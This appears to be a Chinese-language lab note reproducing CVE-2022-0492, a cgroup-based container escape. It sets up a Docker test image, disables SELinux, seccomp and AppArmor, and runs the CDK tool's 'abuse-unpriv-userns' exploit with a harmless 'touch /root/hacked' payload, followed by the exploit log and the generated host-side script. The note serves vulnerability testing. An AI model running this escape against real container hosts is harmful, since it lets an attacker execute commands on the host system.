1. 下载最新 的 cdk 下载链接 https://github.com/cdk-team/CDK/releases
2、制作镜像：Dockerfile如下
FROM ubuntu:20.04
LABEL MAINTAINER kmahyyg<16604643+kmahyyg@users.noreply.github.com>
RUN echo "nameserver 223.5.5.5" > /etc/resolv.conf
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list && \
apt update -y && \
apt install -y ca-certificates wget curl nano strace ltrace socat libcap2-bin && \
rm -rf /var/cache/apt
CMD ["/bin/bash", "-c", "sleep 9999"]
docker build -t rinchat/test:CVE-2022-0492 .
已经上传到镜像仓库rinchat/test:CVE-2022-0492 拉取即可
3. 临时关闭selinux
setenforce 0
开启用户命名空间
echo user.max_user_namespaces=15000 >/etc/sysctl.d/90-max_net_namespaces.conf
sysctl -p /etc/sysctl.d /etc/sysctl.d/90-max_net_namespaces.conf
当前目录下有cdk 文件
4. docker run -d -v `pwd`:/test --security-opt "seccomp=unconfined" --security-opt "apparmor=unconfined" --name test rinchat/test:CVE-2022-0492
docker exec 容器内执行：./cdk run abuse-unpriv-userns "touch /root/hacked"
查看宿主机是否有 /root/hacked 目录有了则存在漏洞说明 容器内部可以执行宿主机命令
存在漏洞时候日志：
root@2de2c952ccf1:/test# ./cdk run abuse-unpriv-userns "touch /root/hacked"
2022/04/07 15:27:31 User-Defined Shell Payload: touch /root/hacked
2022/04/07 15:27:31 current cgroup for exploit: rdma
2022/04/07 15:27:31 user-defined shell payload is: touch /root/hacked
2022/04/07 15:27:31 Found hostpath: /var/lib/docker/overlay/648284107b18c61c6040f6f056307e4d7b8d55471af927b0581a5690d2e76f96/upper
2022/04/07 15:27:31 generate shell exploit with user-input cmd:
touch /root/hacked
final shell exploit is:
#!/bin/sh
touch /root/hacked > /var/lib/docker/overlay/648284107b18c61c6040f6f056307e4d7b8d55471af927b0581a5690d2e76f96/upper/cdk_cgres_XCXT
2022/04/07 15:27:31 shell script saved to /cdk_cgexp_XCXT.sh
2022/04/07 15:27:36 Execute Result:
测试发现4.11内核以上存在bug
内核下载链接：http://193.49.22.109/elrepo/kernel/el7/x86_64/RPMS/
docker 版本
[root@localhost ~]# docker version
Client: Docker Engine - Community
Version: 20.10.0
API version: 1.41
Go version: go1.13.15
Git commit: 7287ab3
Built: Tue Dec 8 18:54:00 2020
OS/Arch: linux/amd64
Context: default
Experimental: true
Server: Docker Engine - Community
Engine:
Version: 20.10.0
API version: 1.41 (minimum version 1.12)
Go version: go1.13.15
Git commit: eeddea2
Built: Tue Dec 8 18:58:04 2020
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: v1.4.3
GitCommit: 269548fa27e0089a8b8278fc4fc781d7f65a939b
runc:
Version: 1.0.0-rc92
GitCommit: ff819c7e9184c13b7c2607fe6c30ae19403a7aff
docker-init:
Version: 0.19.0
GitCommit: de40ad0